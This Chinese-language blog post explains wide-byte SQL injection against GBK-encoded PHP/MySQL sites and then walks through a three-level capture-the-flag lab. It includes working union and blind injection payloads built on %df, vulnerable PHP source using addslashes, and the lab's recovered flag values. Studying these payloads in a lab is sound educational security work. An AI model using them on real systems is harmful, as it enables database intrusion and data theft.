首先了解一下编码
GBK编码 GBK全称《汉字内码扩展规范》,GBK 编码中,中文字符占 2 个字节,英文字符占 1 个字节;
UTF-8编码 UTF-8 编码中,中文字符占 3 个字节,英文字符占 1 个字节;
当网站使用的是GBK编码,并且用户的参数可以传到数据库中,就可能存在宽字节注入。
了解PHP中相关函数(魔术引号)
magic_quotes_gpc(魔术引号开关)
(GPC, Get/Post/Cookie)
该函数可以将从页面用户提交的信息,有GET、POST、COOKIE的值,并将其中的特殊字符进行转义
比如 '
会被替换成\'
什么是宽字节?
宽字节就是两个以上的字节。
宽字节注入的原理?
宽字节注入是在当网站采用的是GBK编码的时候,并且后端对于用户的输入进行了转义字符函数时,通过注入的参数与转义字符\
进行组合,形成了宽字节字符,从而使得用户\
失效,达到注入的目的。
举例:
sql语句select * from uesrs where username='$username' and password='$password'
当注入$username=admin''
时就会被转义成$username=admin\''
如果我们输入的时$username=admin%df''
,并且网站是GBK编码的时候,那么%df和转义字符\
就会被当成一个汉字字符,而后面的单引号就会生效
这是为什么呢?就是GBK编码的问题,因为\
的url编码是%5c,加上%df组成%df%5c
而这个在GBK编码中就是汉字運
。
当然也不一定非得是%df,也可以是其他的字符,只要使得其和转义字符组成一个字符就可以

如图,也可以使用%de,则组成的汉字就是轡
了解了宽字节注入的原理,开始进行靶场实操。
靶场实操
0x00 Rank 1

第一关get传参,看一下特殊字符转义的效果

可以看到我输入的单引号被替换\'
,这就是因为单引号被转义
然后传入%df

可以看出,语句执行正常,说明转义字符失效了。正常的显错注入

有三列

2,3位置为显示位

数据库名 widechar

widechar
数据库下存在两个表china_flag
,user
查看china_flag
表中字段

查出两个字段Id
,C_Flag
,查看C_Flag数据

第一关结束
源码分析
$username = '';
$password = '';
@$id = addslashes($_GET['id']);
@$sql = 'select *from user where id=\''.$id.'\'';
mysqli_select_db($conn,'****');// 不想让你们知道库名
mysqli_query($conn,"SET NAMES gbk"); //关键语句,设置编码mysql编码为GBK
$result = mysqli_query($conn,$sql);
while ($row = mysqli_fetch_array($result)){
$username = $row['username'];
$password = $row['password'];
}
echo 'Your Login name:'.$username;
echo 'Your Password:'.$password;
0x01 Rank 2

第二关闭合方式为双引号闭合加单括号("")
%df") union select 1,group_concat(C_Flag),3 from china_flag -- qwe

0x02 Rank 3

第三关是POST注入,闭合方式是('')

尝试了一下,?????怎么没有闭合!抓包尝试一下

啊,这样可以,嗯?竟然还是盲注!好吧,继续找数据
1%df') or 1=1 and length(database())=§1§ -- qwe

数据库名长度为8

数据库名是 119 105 100 101 99 104 97 114 即 widechar

数据库中只有两个表

第一个表 99 104 105 110 97 95 102 108 97 103 即 china_flag

第二个表 117 115 101 114 user
1%df') or 1=1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1))=3 -- qwe

有三个字段

第一个字段 73 100 即 Id

第二个字段 67 95 70 108 97 103 即 C_Flag
,查该字段

第一个数据 122 75 97 81 45 87 105 100 101 即 zKaQ-Wide

第二个数据 122 75 97 81 45 67 65 73 75 即 zKaQ-CAIK

第三个数据 122 75 97 81 45 75 122 106 43 109 122 即 zKaQ-Kzj+mz
Comments NOTHING